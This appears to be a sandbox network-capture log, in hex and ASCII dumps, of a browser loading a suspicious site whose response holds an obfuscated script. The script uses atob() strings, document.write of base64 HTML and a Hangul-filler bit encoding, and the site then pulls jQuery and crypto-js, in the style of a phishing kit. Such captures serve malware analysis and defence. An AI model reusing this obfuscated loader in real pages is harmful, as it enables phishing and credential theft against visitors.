2025-03-24 13:12:53 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 4a 72 53 46 5a 35 59 7a 46 78 53 6a 56 77 52 6e 68 36 52 6c 6b 79 5a 57 31 54 56 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 64 33 64 76 54 6c 5a 71 56 45 78 72 55 56 46 73 57 6e 51 7a 4e 32 31 51 55 45 56 4c 61 30 78 4f 55 31 52 79 55 56 4e 69 61 6e 55 30 4d 45 70 57 62 48 6c 4f 65 55 49 72 55 6e 46 6e 64 6e 5a 6d 4b 30 52 55 5a 53 74 49 51 6d 4a 7a 56 45 78 6c 55 44 4e 50 52 6d 59 35 57 6b 68 53 52 45 5a 56 4d 58 6c 52 4d 6c 4a 58 4d 30 4a 77 65 47 5a 70 61 33 4a 54 54 58 6c 4a 59 32 6c 48 62 57 74 33 56 30 30 79 61 33 46 69 4e 44 49 78 4d 47 56 51 57 45 70 76 54 44 4a 45 62 7a 56 5a 4c 33 56 34 53 45 5a 4d 62 45 68 6c 55 6b 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkJrSFZ5YzFxSjVwRnh6RlkyZW1TVmc9PSIsInZhbHVlIjoid3dvTlZqVExrUVFsWnQzN21QUEVLa0xOU1RyUVNianU0MEpWbHlOeUIrUnFndnZmK0RUZStIQmJzVExlUDNPRmY5WkhSREZVMXlRMlJXM0JweGZpa3JTTXlJY2lHbWt3V00ya3FiNDIxMGVQWEpvTDJEbzVZL3V4SEZMbEhlUkg
2025-03-24 13:12:53 UTC	752	IN	Data Raw: 37 38 62 36 0d 0a 3c 73 63 72 69 70 74 3e 0a 6f 54 77 43 6d 6b 74 4d 44 6e 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6b 51 6c 64 7a 4c 6d 35 6f 65 58 6c 31 63 48 5a 33 4c 6d 56 7a 4c 32 6c 54 53 46 4a 50 62 6c 4e 76 62 6b 64 76 56 43 38 3d 22 29 3b 0a 62 42 73 77 77 6b 41 55 66 63 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 44 42 66 61 6f 6a 76 79 49 47 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 6f 54 77 43 6d 6b 74 4d 44 6e 20 3d 3d 20 62 42 73 77 77 6b 41 55 66 63 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 44 42 66 61 6f 6a 76 79 49 47 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 Data Ascii: 78b6<script>oTwCmktMDn = atob("aHR0cHM6Ly9kQldzLm5oeXl1cHZ3LmVzL2lTSFJPblNvbkdvVC8=");bBswwkAUfc = atob("bm9tYXRjaA==");DBfaojvyIG = atob("d3JpdGU=");if(oTwCmktMDn == bBswwkAUfc){document[DBfaojvyIG](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 69 41 67 5a 32 56 30 4b 46 52 69 55 32 70 4a 59 57 39 6b 63 32 55 73 49 46 64 4c 57 6d 70 35 53 6d 74 74 53 55 38 70 49 48 73 4b 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 45 70 72 61 30 46 4d 52 6e 4e 36 52 55 6f 67 50 53 42 62 4c 69 34 75 56 30 74 61 61 6e 6c 4b 61 32 31 4a 54 31 30 4b 49 43 41 67 49 43 41 67 4c 6d 31 68 63 43 68 54 54 31 46 47 51 33 70 6e 64 48 42 4b 49 44 30 2b 49 43 73 6f 4a 2b 2b 2b 6f 43 63 67 50 69 42 54 54 31 46 47 51 33 70 6e 64 48 42 4b 4b 53 6b 4b 49 43 41 67 49 43 41 67 4c 6d 70 76 61 57 34 6f 4a 79 63 70 4f 77 6f 67 49 43 41 67 59 32 39 75 63 33 51 67 51 6e 6c 77 5a 48 42 74 65 48 4a 49 61 69 41 39 49 45 70 72 61 30 46 4d 52 6e 4e 36 52 55 6f 75 63 6d 56 77 62 47 46 6a 5a 53 67 76 4c 6e 73 34 66 53 39 6e 4c 43 42 68 5a 6e 42 42 Data Ascii: iAgZ2V0KFRiU2pJYW9kc2UsIFdLWmp5SmttSU8pIHsKICAgIGNvbnN0IEpra0FMRnN6RUogPSBbLi4uV0taanlKa21JT10KICAgICAgLm1hcChTT1FGQ3pndHBKID0+ICsoJ+++oCcgPiBTT1FGQ3pndHBKKSkKICAgICAgLmpvaW4oJycpOwogICAgY29uc3QgQnlwZHBteHJIaiA9IEpra0FMRnN6RUoucmVwbGFjZSgvLns4fS9nLCBhZnBB
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 Data Ascii: 6g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk7
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk77
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 Data Ascii: 776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b Data Ascii: 76g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g44Wk44Wk
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 Data Ascii: Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g7
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 Data Ascii: g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk44
2025-03-24 13:12:53 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk776g776

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:12:53 UTC	661	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:12:54 UTC	564	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Mon, 24 Mar 2025 13:12:54 GMT Via: 1.1 varnish Age: 1490956 X-Served-By: cache-lga21920-LGA X-Cache: HIT X-Cache-Hits: 743 X-Timer: S1742821974.075162,VS0,VE0 Vary: Accept-Encoding
2025-03-24 13:12:54 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-24 13:12:54 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-24 13:12:54 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-24 13:12:54 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-24 13:12:54 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-24 13:12:54 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:12:53 UTC	689	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://zx.nhyyupvw.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:12:54 UTC	964	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:12:54 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 260789 Expires: Sat, 14 Mar 2026 13:12:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gWLdIdZO0DWZzv8kUz2zr5f%2FN%2BZMjDpHnoA10TIQP%2Bp7y4wdoOUlYjxc9Fig29nmumWA48Ka0%2F2bIl1rNzgPnL7EDjxtXxi3iT0ls9UXcHsLzzmffBUbyqM9IOkrB%2B6Ehn%2Be931f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 92566c3a6e85f9a9-EWR alt-svc: h3=":443"; ma=86400
2025-03-24 13:12:54 UTC	405	IN	Data Raw: 37 62 65 64 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data 